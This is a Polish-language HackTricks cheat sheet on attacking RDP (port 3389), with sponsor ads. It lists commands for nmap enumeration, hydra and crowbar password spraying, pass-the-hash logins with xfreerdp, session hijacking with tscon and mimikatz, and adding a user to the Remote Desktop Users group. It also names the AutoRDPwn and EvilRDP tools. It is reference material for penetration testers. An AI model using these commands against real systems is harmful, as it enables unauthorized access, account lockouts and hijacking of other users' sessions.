9.7 KiB
3389 - Pentesting RDP
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Natychmiast dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z 20+ narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, przełamywanie zabezpieczeń i zabawę.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Podstawowe informacje
Opracowany przez Microsoft, Remote Desktop Protocol (RDP) jest zaprojektowany w celu umożliwienia połączenia z interfejsem graficznym między komputerami w sieci. Aby nawiązać takie połączenie, użytkownik korzysta z oprogramowania klienckiego RDP, a jednocześnie zdalny komputer musi działać na oprogramowaniu serwera RDP. Ta konfiguracja umożliwia płynne sterowanie i dostęp do środowiska pulpitu zdalnego komputera, zasadniczo przenosząc jego interfejs na lokalne urządzenie użytkownika.
Domyślny port: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeracja
Automatyczna
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
Sprawdza dostępne szyfrowanie i podatność na DoS (bez powodowania DoS dla usługi) oraz uzyskuje informacje NTLM Windows (wersje).
Brute force
Bądź ostrożny, możesz zablokować konta
Password Spraying
Bądź ostrożny, możesz zablokować konta
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Połączenie z znanymi poświadczeniami/hashami
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Sprawdź znane poświadczenia w usługach RDP
rdp_check.py z impacket pozwala sprawdzić, czy niektóre poświadczenia są ważne dla usługi RDP:
rdp_check <domain>/<name>:<password>@<IP>
Natychmiast dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z 20+ narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, przełamywanie zabezpieczeń i zabawę.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Ataki
Kradzież sesji
Z uprawnieniami SYSTEM możesz uzyskać dostęp do każdej otwartej sesji RDP przez dowolnego użytkownika bez potrzeby znajomości hasła właściciela.
Uzyskaj otwarte sesje:
query user
Dostęp do wybranej sesji
tscon <ID> /dest:<SESSIONNAME>
Teraz będziesz wewnątrz wybranej sesji RDP i będziesz musiał podszyć się pod użytkownika, używając tylko narzędzi i funkcji systemu Windows.
Ważne: Kiedy uzyskasz dostęp do aktywnych sesji RDP, wylogujesz użytkownika, który z niej korzystał.
Możesz uzyskać hasła z procesu, zrzucając je, ale ta metoda jest znacznie szybsza i pozwala na interakcję z wirtualnymi pulpitami użytkownika (hasła w notatniku bez zapisywania na dysku, inne sesje RDP otwarte na innych maszynach...)
Mimikatz
Możesz również użyć mimikatz, aby to zrobić:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Łącząc tę technikę z stickykeys lub utilman, będziesz mógł uzyskać dostęp do administracyjnego CMD i każdej sesji RDP w dowolnym momencie.
Możesz wyszukiwać RDP, które zostały zainfekowane jedną z tych technik, korzystając z: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Jeśli ktoś z innej domeny lub z lepszymi uprawnieniami zaloguje się przez RDP do komputera, gdzie jesteś administratorem, możesz wstrzyknąć swój beacon do jego procesu sesji RDP i działać jako on:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
Adding User to RDP group
net localgroup "Remote Desktop Users" UserLoginName /add
Automatic Tools
AutoRDPwn to framework post-exploatacyjny stworzony w Powershell, zaprojektowany głównie w celu automatyzacji ataku Shadow na komputerach z systemem Microsoft Windows. Ta luka (wymieniana jako funkcja przez Microsoft) pozwala zdalnemu atakującemu na wyświetlenie pulpitu ofiary bez jej zgody, a nawet na kontrolowanie go na żądanie, korzystając z narzędzi natywnych dla samego systemu operacyjnego.
- EvilRDP
- Kontroluj mysz i klawiaturę w zautomatyzowany sposób z linii poleceń
- Kontroluj schowek w zautomatyzowany sposób z linii poleceń
- Uruchom proxy SOCKS z klienta, które kieruje komunikację sieciową do celu za pośrednictwem RDP
- Wykonuj dowolne polecenia SHELL i PowerShell na celu bez przesyłania plików
- Przesyłaj i pobieraj pliki do/z celu, nawet gdy przesyłanie plików jest wyłączone na celu
HackTricks Automatic Commands
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Natychmiastowo dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z 20+ narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, przełamywanie zabezpieczeń i zabawę.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na GitHubie.